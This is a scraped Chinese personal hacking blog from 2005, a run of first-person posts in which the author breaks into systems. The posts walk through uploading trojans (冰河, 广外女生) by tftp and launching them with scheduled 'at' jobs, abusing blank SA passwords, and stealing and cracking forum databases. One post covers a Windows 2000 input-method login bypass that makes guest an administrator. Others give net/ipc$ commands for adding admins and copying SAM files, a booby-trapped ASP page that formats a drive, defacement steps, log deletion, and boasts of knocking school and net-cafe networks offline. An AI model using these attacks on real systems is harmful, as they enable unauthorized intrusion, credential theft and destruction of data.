顺利的话，对方系统便会添加love/hack用户，（FT，系统用户都添加了，论坛管理员算什么？），网上大家用的ACCESS的动网论坛多，更据有一般性，SQL版相对较少，有些版本默认配置没有tongji.asp文件，我好不容量找到一个，还因为禁止使用一些存储过程，而没有成功。防范：动网已经出了补丁大家下载覆盖原文件，就行了，相信看这篇文章的很多朋友都是站长，也使用着动网论坛，我和大家一样忠爱着动网论坛，不想让自己的论坛让别人黑了，（N 多人惦记着怪狗的论坛）老想黑了我论坛，那也不能不给人家“机会”吧！（被thief 惦记着，不合适）将tongji.asp文件改名为to_ngji.asp在bbs目录中搜索包含tongji.asp文件的改成to_ngji.asp我们自己编一个tongji.asp文件改造：<%orders=trim(request("orders")) n=trim(request("n")) if orders=2 and n="2 UserName," then response.write "document.write(\'□\');document.write(\'怪狗\');document.write(\'\');" elseif orders=2 and n=1 then response.write "document.write(\'□\');document.write(\'怪狗\');document.write(\'\');document.write(\'□\');" elseif orders=2 and n=2 then response.write "document.write(\'□\');document.write(\'怪狗\'); &nsp document.write(\'\');document.write(\'□\');document.write(\'飞云桂迷\');document.write(\'\');" end if %>为了让大家看明白，我只用了简单的if 语句结构，解释上面的语句，reguest 主要用于接收变量，response.write用于输出，IF中的语句相信大家都能看懂，wsh.Run(\'start /m format.com C:/q /autotest /u\');可能也看出来，这是格式化的语句，将上面的程序存为tongji.asp，放在论坛目录下，呵呵，这就是成了一个陷井，上面的程序只是一个示意，（不保证在您的服务器正常运行）你可用网页木马，格式化，盗cookies,不用我教你了吧，对要攻击你论坛的菜鸟，就不用给我面子了，呵呵！几点建议：1，建议密码要强壮，如果你用一个强壮的密码，将不会给破解者任何机会。比如：原密码是123456 用MD5加密之后49ba59abbe56e057 再将他做为您的管理员密码你说那个更安全，！2，建设大家利用漏动时，多思考，多动手，尽力用自己程序，用自己的思想，这才是黑客的乐趣。

yiye 2005-06-14 10:04 发表评论

一次简单入侵

yiye — Tue, 14 Jun 2005 02:02:00 GMT

又是一个休息日，闲得无聊，打开电脑，看了几大门户站的八卦新闻，愈看愈觉就得没劲。做点啥趣事呢？有了！前几天一OICQ聊友叫我帮忙搞定一主机，一直懒得搞，那么现在就去找找这主机的晦气吧。
看看这主机是否是网站先，用IE打开它的IP：61。170。168。168，出现“该页无法显示”。看来这主机还没WEB网页。祭起我的“X-SCAN”宝刀，全面扫描一下它的各种漏洞，我就不信他没有漏洞！（玩黑必备一：眼睛长到头顶上）
X-SCAN扫描结果报告：
“端口开放：1433、3389
ASP 漏洞：don't find CGI漏洞： don't find IIS漏洞don't find……，SQL：SA /NULL”
呵呵，大局已定，大家看到了有哪些漏洞吗？什么，你不懂鸟语？哇噻，你先去补习鸟语再到我这来！对了，我们的白灵、流二位大虾精通由各种乱码加鸟语组成的火星ASP语言，听说二位不日将移民火星，你趁他们还在地球快去拜师学艺啊！
再接着卖我的黄婆烂瓜……
3389——我得最爱！利用远程主机打开的远程控制功能（通过3389连接）进入它的WINDOWS图形界面，这种感觉对我等菜鸟来说可不是DOS破界面能比的哦~~
废话少说，打开我的“WINDOW2000远程客户程序”，填IP、点“联接”~~啊？连不上！再连~~还是不行！55555……输入法漏洞是玩不成了。
一招不行再换一招！点根烟先……打开“天行网络”所制的精品软件——SQLEXEC，填上IP，用户名：SA，密码为空，点“连接”---“：（连接成功！”
进来了，谈笑间我就进来了，我真厉害~~（玩黑必备二：自夸不怕吓死人）。先看看它的C盘的文件：DIR C：，OK！这机子装的是WINNT，怪不得我用WIN2000的远程客户程序连不上，可是它怎么会打开WIN2000的远程连接用端口-3389端口呢？
算了，越想越乱，忙我的正事吧。
为安全起见，让我看看它建立了哪些连接进程：“netstat -n”……哈，反馈回来的信息都是一些196开头的IP，没开TTY监听，这该不会是个局域网的服务器吧？
再来看看我现在的权限有多少：“ne t u s e r aaa 1234 /add”－－－“成功建立新用户”。呵呵，权限还不小，能建新用户哦~~由于我机子用的是WIN98，所以没法用这新建的用户名为AAA，密码为1234的帐户进行连接，这帐户对我来说根本
没用……
现在，我们即将开始取得远程主机的最最最……大权限！啥？你不信？呵呵，说你菜你还不高兴，听说过木马吗？听说过大名鼎鼎专玩木马的“符号”大虾吗？哦，你不知木马只知符大虾……行，赶明儿我让符大虾在你机子里也放个木马，这样你就
能深刻理解啥叫木马了~~
继续攻击……我们现在就要上传个木马到远程主机。木马“广外女生”现在国内很流行，前几天也曾去黑网下栽了一个，它的被控端程序才90K，上传比较容易，就用它做远程主机的“后门”吧。1。打开TFTP（一个能把你的PC变成FTP服务器的小程序）——
2。把“广外女生”的被控端程序gw.exe复制到我的C盘TFTP默认文件路径下。3。在远程主机里输入命令："tftp -i xx.xx.xx.xx get gw.exe c:\gw.exe"
5分钟后，GW。EXE已乖乖在躺在远程主机的C盘里了~~~
现在，得想法子运行GW。EXE：1。打入命令"net time"---远程主机反馈当前时间"09:35"。 2.打入程序起动时间命令"at 09:37 c:\gw.exe"（GW在9：37运行）——出现主机反应：“建立一个新任务，ID=1”
OK！二分钟后将运行我的“广外女生”了！
打开我的“广外”控制端程序，在主机查找栏里填上“61.170.168.160---61.171.168.170”，点“查找”。扫描很慢……别急……扫完了……啊？！在这扫描的IP端里无中“奖”主机！怪事啊！是远程主机的“广外”没有运行还是我对这控制端程序的操
作错误？一定是这破“广外”本身程序不行，太烂了~~（玩黑必备三：一切都不是我的错！）。
看来，今天我只得请出封存已久的国货精品木马——“冰河”了。我的“冰河2。2”的被控端有200多K，估计上传时间会很久，但如果上传成功，它的功能可不是“广外”所能与之并论的啊！另外，对冰河的界面操作也不会似“广外”那嚒陌生……
言归正传，现在开始上传“冰河”：“tftp -i xx.xx.xx.xx get G-server.exe c:\inetpub\GG.exe"（为不至于太过醒目，这次把文件传到C盘的INETPUB文件包下）
缓慢上传中……让我再点根烟，趁这功夫去“黑白网络”的技术论坛逛逛去……
已过25分钟了，进远程主机瞧瞧是否已下栽成功了~~OK！冰河已在那里了。接着：“net time”，反馈信息：10:30”。“at 10:32 c:\inetpub\GG.exe”，反馈信息“运行新任务，ID=1”
二分钟后，打开“冰河”控制端，加入远程主机IP，连接……成功！接着再：添加服务器端连接密码、添加冰河运行自动通知发往信箱、删除“广外”、“冰河”被控端程序。

yiye 2005-06-14 10:02 发表评论

我是怎么样入侵学校局域网动网论坛的！

yiye — Tue, 14 Jun 2005 02:00:00 GMT

家好这是我第一次自己写的入侵的记实有什么错误还请各位指出，
先说一下我学校的网络环境学校里拉的是千兆光纤，。
我们学校所有的网络都是通过这条主网线分出来的
也就是我门都是在一个局域网内
我的IP就是：192.168.104.215
对方论坛的IP：192.168.104.141
首先打开他的论坛看到是一个动网7.0的论坛，先试试注入吧
打开NBI2然后对着他的论坛一顿猛扫，最后出现的是只有几个入侵级别是中等，由于我没有什么太高深的技术所以我只好放弃了。。。。
接着试了另外几种注入也没成功最后我只好上网也DOWN了个动网7.0的论坛在自己机器上装了起来然后打开动网的安装目录发现数据库文件存放在/data/文件夹内，那么能不能把他的数据库下下来呢？
于是我在IE里输入他的论坛论坛地址加上/data/数据库文件命（不好意思应为在网吧我把名字忘了）
果然被我下下来了。好了有了他的数据库用老兵的数据库浏览器轻松打开，然后、在里面找到ADMIN这一项在点选USER和password这一项在点选查看就可以看到他的前台管理员帐号和密码了，可是这时候发现密码是用MD5码加密的
于是我用MD5码暴力破解软件跑了一下午也没跑出来个结果（速度慢）只好找”子寒“帮忙了给了一个软件没想到只用了10秒。。。。。。。。。。。
一次入侵就这样完成了，但是我现在都没搞懂怎么才能搞到他的后台管理员帐号和密码。
还有一点要说明的是当对方知道了你在入侵后肯定要更改他的管理员密码这时候我们还是可以把他的数据库下下来的但是用的同样的方法打开的话你在查用户名和密码还是没改以前的那个，一定要查看BBS1这一项里的USER和PASSWORD这里才是最新的帐号和密码！
后来我又实验了一些现在比较流行的动网7.0上传漏洞但是没有成功就是在对方的论坛下输入：reg_upload.asp打个比方：http://192.168.104.141/bbs/reg_upload.asp
打开之后可以选择要上传的文件，我想ASP木马上去但是没有成功他说我传的文件格式不对后来我又试了很多种文件名的木马和文件都没成功。。。
还望高手帮帮忙！
----yiye
以后用hk.yiye这个名字了哈！

yiye 2005-06-14 10:00 发表评论

简单入侵之输入法漏洞-不会都来看看哦~!

yiye — Tue, 14 Jun 2005 01:59:00 GMT

WIN2000中文简体版存在的输入法漏洞，可以使本地用户绕过身分验证机制进入系统内部。经实验，WIN2000中文简体版的终端服务，在远程操作时仍然存在这一漏洞，而且危害更大WIN2000的终端服务功能，能使系统管理员对WIN2000进行远程操作，采用的是图形界面，能使用户
在远程控制计算机时功能与在本地使用一样，其默认端口为3389，用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。工具：客户端连接管理器，下载地址：http://minisql.51.net/rj/WIN.zip，端口扫描器一个，推荐使用：流光、网络刺客2、superscan。

入侵步骤：

一，获得管理员账号：

　　我们先对一个网段进行扫描，扫描端口设为3389，运行客户端连接管理器，将扫描到的任一地址加入到，设置好客户端连接管理器，然后与服务器连结。几秒钟后，屏幕上显示出WIN2000登录界面（如果发现是英文或繁体中文版，放弃，另换一个地址），用CTRL+SHIFT快速切换输入法，切换至全拼，这时在登录界面左下角将出现输入法状态条（如果没有出现，请耐心等待，因为对方的数据流传输还有一个过程）。用右键点击状态条上的微软徽标，弹出“帮助”（如果发现“帮助”呈灰色，放弃，因为对方很可能发现并已经补上了这个漏洞），打开“帮助”一栏中“操作指南”，在最上面的任务栏点击右键，会弹出一个菜单，打开“跳至URL”。此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如，该系统安装在Ｃ盘上，就在空白栏中填入"c:winntsystem32"。然后按“确定”，于是我们就成功地绕过了身份验证，进入了系统的SYSTEM32目录。
　现在我们要获得一个账号，成为系统的合法用户。在该目录下找到"net.exe"，为"net.exe"创建一个快捷方式，右键点击该快捷方式，在“属性”－;“目标”－;c:winntsystem32 et.exe后面空一格，填入"usergu est /active:yes"点“确定”。这一步骤目的在于用net.exe激活被禁止使用的guest账户，当然也可以利用"user 用户名　密码／add"，创建一个新账号，但容易引起网管怀疑。运行该快捷方式，此时你不会看到运行状态，但guest用户已被激活。然后又修改该快捷方式，填入"userguest 密码"，运行，于是guest便有了密码。最后，再次修改，填入“localgroupadministratorsguest /add，将guest变成系统管理员。

注意事项：

１、在这过程中，如果对方管理员正在使用终端服务管理器，他将看到你所打开的进程id，你的ip和机器名，甚至能够给你发送消息。

２、终端服务器在验证你的身份的时候只留给了你一分钟的时间，在这一分钟内如果你不能完成上述操作，你只能再连结。

３、你所看到的图像与操作会有所延迟，这受网速的影响。

二，创建跳板：

　　再次登录终端用务器，以"guest"身份进入，此时guest已是系统管理员，已具备一切可执行权。打开“控制面板”，进入“网络和拔号连接”，在“本地连接”或“拔号连接”中查看属性，看对方是否选择“Microsoft 网络的文件和打印机共享”，如果没有，就打上勾。对方如果使用的是拔号上网，下次拔号网络共享才会打开。

　　退出对方系统，在本地机命令提示符下，输入netuse \IP AddressIPC$ ["password"] /user:"guset"，通过IPC的远程登陆就成功了。
登陆成功之后先复制一个Telnet的程序上去（小榕流光安装目录下的Tools目录里的Srv.exe,另外，还有nt ml.xex，一会要用），这个程序是在对方上面开一个Telnet服务，端口是99。

　　copy c:hacksrv.exe \***.***.***.***ad min$然后利用定时服务启动它，先了解对方的时间：net time \***.***.***.***
显示：\***.***.***.*** 的当前时间是 2001/1/8 下午 08:55 命令成功完成。然后启动srv.exe:at \***.***.***.*** 09:00 srv.exe　
显示：新加了一项作业，其作业 ID = 0过几分钟后，telnet ***.***.***.*** 99 这里不需要验证身份，直接登录，显示：c:winnt:system32; 我们就成功登陆上去了。然后又在本地打开命令提示符，另开一个窗口，输入：copy c:hack tlm.exe \211.21.193.202admin$
把事先存放在hack目录里的ntlm.exe拷过去。然后又回到刚才的telnet窗口，运行ntlm.exe

C:WINNTsystem32;ntlm

　　好，现在我们来启动WIN2000本身的telnet，首先终止srv.exe的telnet服务：ne t stop tel net　系统告诉你并没有启动telnet，不理它，继续：net start telnet　这次真的启动了telnet，我们可以在另开的命令提示符窗口telnet到对方的23端口，验证身份，输入我们的guest账号和密码，它就真正成为我们的跳板了。我们可以利用它到其它的主机去。

　　三、扫除脚印：

删除为net.exe 创建的快捷方式，删除winntsystem32logfiles下边的日志文件

补漏方法：

1、打补丁

2、删除输入法帮助文件

3、停止终端服务。

yiye 2005-06-14 09:59 发表评论

菜菜入侵之常用DOS命令!嘿嘿!多看看哦!

yiye — Tue, 14 Jun 2005 01:57:00 GMT

这些命令非常重要.想当黑客,不记这些根本不能立足,它是入侵的基础...
-----------------------------------------
1：net　

只要你拥有某ip的用户名和密码，那就用ipc$做连接吧！

这里我们假如你得到的用户是hbx，密码是123456。假设对方ip为127.0.0.1

net u-se \\127.0.0.1\ipc$ 123456 /user:hbx

退出的命令是

net u-se \\127.0.0.1\ipc$ /delte

下面的操作你必须登陆后才可以用.登陆的方法就在上面.

----------------------

下面我们讲怎么创建一个用户，由于sa的权限相当于系统的超级用户.

我们加一个heibai的用户密码为lovechina

net user heibai lovechina /add

只要显示命令成功，那么我们可以把他加入administrator组了.

net localgroup admini-strators heibai /add

----------------------

这里是讲映射对方的c盘，当然其他盘也可以，只要存在就行了.我们这里把对方的c盘映射到本地的z盘.

net use z:\\127.0.0.1\c$

----------------------

net start telnet

这样可以打开对方的telnet服务.

----------------------

这里是将guest用户激活，guest是nt的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。

net user guest /active:yes

----------------------

这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！

net usergue st lovechina

net命令果然强大啊！

2:at

一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？

那么需要用at命令，这里假设你已经登陆了那个服务器。

你首先要得到对方的时间，

net time \\127.0.0.1

将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其id=1

at \\127.0.0.1 12:3 nc.exe

这里假设了一个木马，名为nc.exe，这个东西要在对方服务器上.

这里介绍一下nc，nc是netcat的简称，为了方便输入，一般会被改名.它是一个telnet服务，端口为99.

等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.

3:telnet

这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口.

telnet 127.0.0.1 99

这样就可以连到对方的99端口.那你就可以在对方运行命令了，这个也就是肉鸡.

4:ftp

它可以将你的东西传到对方机子上，你可以去申请个支持ftp上传的空间，国内多的是，如果真的找不到，我http://www.51.net/，不错的.当我们申请完后，它会给用户名，密码，以及ftp服务器.

在上传前需要登陆先，这里我们假设ftp服务http://www.51.net/，用户名是hucjs，密码是654321

ftp http://www.51.net/

他会要求输入用户，成功后会要求输入密码.

----------------------

下面先说上传，假设你需上传的文件是index.htm，它位于c:\下，传到对方d:\

get c:\index.htm d:\

假设你要把对方c盘下的index.htm，下到你的机子的d盘下

put c:\index.htm d:\

5:copy

下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好ipc$连接才有效。

这里我们把本地c盘下的index.htm复制到127.0.0.1的c盘下

copy index.htm \\127.0.0.1\c$\index.htm

----------------------

如果你要复制到d盘下把c改为d，就行了！

copy index.htm \\127.0.0.1\d$\index.htm

----------------------

如果你要把他复制到winnt目录里

就要把输入

copy index.htm \\127.0.0.1\ad min$\index.htm

ad min$是winnt

----------------------

要把对方的文件复制过来，顺便告诉大家nt的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名

下面就把127.0.0.1的数据库复制到本地c盘下

copy \\127.0.0.1\ad min$\repair\sam._ c:\

----------------------

6：set

如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用set命令！

下面是我得到的结果！我来分析它，只是找主页在那而已。

computername=pentiumii
comspec=d:\winnt\system32\cmd.exe
cｏｎtent_length=0
gateway_interface=cgi/1.1
http_accept=*/*
http_accept_language=zh-cn
http_cｏｎnectiｏｎ=keep-alive
http_host=当前登陆者的ip，这里本来是显示我的ip，被我删除了
http_accept_encoding=gzip， deflate
http_user_agent=mozilla/4.0 (compatible; msie 5.0; windows 98; digext)
number_of_processors=1
os2libpath=d:\winnt\system32\os2\dll;
os=windows_nt
path=d:\winnt\system32;d:\winnt
pathext=.com;.exe;.bat;.cmd
path_translated=e:\vlroot主页放在的地址，只要你看到path_translated=的后面就是主页的存放地址。这里是e:\vlroot
processor_architecture=x86
processor_identifier=x86 family 6 model 3 stepping 3， genuineintel
processor_level=6
processor_revisiｏｎ=0303
prompt=$p$g
query_string=/c+set
remote_addr=xx.xx.xx.xx
remote_host=xx.xx.xx.xx
request_method=get
_name=/s/..%2f../winnt/system32/cmd.exe
server_name=xx.xx.xx.xx
server_port=80
server_port_secure=0
server_protocol=http/1.1
server_software=microsoft-iis/3.0对方使用iis/3.0
systemdrive=d:
systemroot=d:\winnt
tz=gmt-9
userprofile=d:\winnt\profiles\default user
windir=d:\winnt

粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你dir这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入xx.xx.xx.xx/文件名，这样只要看到和xx.xx.xx.xx看到的也面一模一样，那么这就是主页的名称了。

7：nbtstat

如果你扫到一部nt的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！

现在网上很多nt的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。

命令是

nbtstat -a xx.xx.xx.xx

-a一定要大写哦。

下面是得到的结果。

netbios remote machine name table

name type status
---------------------------------------------
registered registered registered registered registered registered registered reg
istered registered registered registered
mac address = 00-e0-29-14-35-ba
pentiumii <00> unique
pentiumii <20> unique
orahotown <00> group
orahotown <1c> group
orahotown <1b> unique
pentiumii <03> unique
inet~services <1c> group
is~pentiumii...<00> unique
orahotown <1e> group
orahotown <1d> unique
..__msbrowse__.<01> group

粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是<03>的话，那他前面的就是用户。

这里的用户是pentiumii。

8：shutdown

关了对方的nt服务器的命令

shutdown \\ip地址 t:20

20秒后将nt自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。

9：dir

这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。

你可以本地试下。

10：echo

著名的漏洞unicode，这个命令可以简单的黑一下有这个漏洞的主机。

我们假设我们要把“南京大屠杀铁证如山，任何日本人不得抵赖！”写入index.htm，有2种方法，大家看看有什么区别。

echo 南京大屠杀铁证如山，任何日本人不得抵赖！>index.htm

echo 南京大屠杀铁证如山，任何日本人不得抵赖！>>index.htm

第一个的意思是覆盖index.htm原有的内容，把“南京大屠杀铁证如山，任何日本人不得抵赖！”写进index.htm。

第二个的意思是把“南京大屠杀铁证如山，任何日本人不得抵赖！”加到index.htm里面。

“>>”产生的内容将追加进文件中，“>”则将原文件内容覆盖。

大家可以本地试下。

可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。

1、首先，我们需要申请一个**的主页空间。

2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。）
open upload.chinaren.com（你的ftp服务器，申请时你的空间提供商会给你的）
cnhack（你申请时的用户名）
test（你申请时的密码）
get index.htm c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm）
bye（退出ftp对话，相当在98下的dos，用exit退出dos）

具体的做法：
输入 echo open upload.chinaren.com> c:\cnhack.txt
输入 echo cnhack >> c:\cnhack.txt
输入 echo 39abs >> c:\cnhack.txt
输入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最后输入 ftp -s:c:\cnhack.txt （利用ftp的-s参数，执行文件里的内容。）

等命令完成时，文件已经下载到你指定的文件里了。

注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。）

记得要 del c:\cnhack.txt

11:attrib

这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。

attrib -r index.htm

这个命令是把index.htm的只读属性去掉。

如果把“-”改为“+”则是把这个文件的属性设置为只读

----------------------

attrib +r index.htm

这个命令是把index.htm的属性设置为只读。

12:del

当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。

nt的日志有这些

del c:\winnt\system32\logfiles\*.*
del c:\winnt\ssytem32\cｏｎfig\*.evt
del c:\winnt\system32\dtclog\*.*
del c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt
del c:\winnt\*.log

只要删除这些就可以了。有些系统nt安装在d盘或其他盘，就要把c改成其他盘。

yiye 2005-06-14 09:57 发表评论

送给新手的入侵技术!-绝对简单!

yiye — Tue, 14 Jun 2005 01:54:00 GMT

今天终于可以上上网了哈

包夜啊!过两天就可以回家了舒服啊!

没事干只好找找乐趣了,.

先拿出SuperScan哈哈熟悉的画面一看就舒服!在里面的开始和结束端口里输入3389

然后随便在QQ里输入个网段,然后点扫描.....................

一顿狂扫只后嘿嘿还真不少开3389的端口

接着大开咱么的论坛主页里的http://www.nshacker.com/tsweb/

把那写开了3389端口的机器添进去

然后点连接嘿嘿,基本都可以连上的

然后在用户名里输入:administrator

要是运气好的话就可以连进去了

嘿嘿,,(可是管理员权限哦)下面要怎么处置你的肉鸡就看你个人的了!

嘿嘿

我只说这么多了啊!@

有什么不懂的就直接问吧

我会直接回复的!@

还有一点要是输入administrator

连不上的话,就换别的IP,或者试试我上次发的输入法漏洞

总会有成功'|!!

yiye 2005-06-14 09:54 发表评论

在内蒙的网吧新发现·！漏洞特多！

yiye — Tue, 14 Jun 2005 01:53:00 GMT

最近几天我跑到内蒙玩去了

嘿嘿！

到网吧看了下还真发现个漏洞那就是路由的

我先说过程！

上www.hao123.com然后找到本机IP然后在IE里输入本机IP！

就看到了网吧路由的登陆窗口了！

而且密码是自动保存的！

哈哈！先在想怎么搞就怎么搞了！

我现在已经把两个网吧的机器都不能上网了！

呵呵！

yiye 2005-06-14 09:53 发表评论

我在入侵学校网络的时候发现漏洞造成网络瘫痪!

yiye — Tue, 14 Jun 2005 01:51:00 GMT

这次出来时间有限!我就从简说下!

我现在还不能确定那个操作系统是不是2000的

无意之间扫描主机的时候看到个9000端口接着后面是9001,9002

然后我就在地址里输入http://.....:9001/

回车然后就看到了一个学校网站的收费系统!下面有继续和取消按钮!

我选择继续但是不能跳转! 然后我在地址栏里输入http://.....:9001/15646546546

后面的数字随便接着回车

没想到的是这样就造成了服务器拒绝服务!

导致我们学校整个网络掉线!现在想想我都心寒~

后来我到网站上去查了一下9000端口是什么端口!到现在也没结果!

望有高手指点!

这两天学校到处查还好我早有准备了!

郁闷啊!

yiye 2005-06-14 09:51 发表评论

IT博客-YIYE的BLOG-随笔分类-黑客

知道对方IP入侵别人的电脑

入侵WinXP常用七大招数

dos命令扫描网段的端口

让肉鸡难逃五指山---精品后门程序及思路分板

学软件破解需要知道的6个最基本概念

教你如何清除SQL日志

黑客新人必学的网站入侵基本知识

ARP监听渗透内网的方法

黑客技巧系列之常见的一些留后门手法

黑客知识之你真的知道特洛伊木马吗！

如何有效防范IP地址泄漏

黑客入侵的基础：口令入侵法

用批处理写的后门 永不被杀

104种木马手工清除方法

十二种流行恶作剧程序简介与清除

黑客扫描十种最易受攻击端口

cmd命令详解(一)

清除那些使得隐藏文件无法显示的病毒

灰鸽子完全手册(送给新手)

灰鸽子完全手册(送给新手)

php注入专题

wpe1。3C的详细使用教程

动网SQL版-不得不说的问题

动网6.0漏洞附件

一次简单入侵

我是怎么样入侵学校局域网动网论坛的！

简单入侵之输入法漏洞-不会都来看看哦~!

菜菜入侵之常用DOS命令!嘿嘿!多看看哦!

送给新手的入侵技术!-绝对简单!

在内蒙的网吧新发现·！漏洞特多！

我在入侵学校网络的时候发现漏洞造成网络瘫痪!

用批处理写的后门永不被杀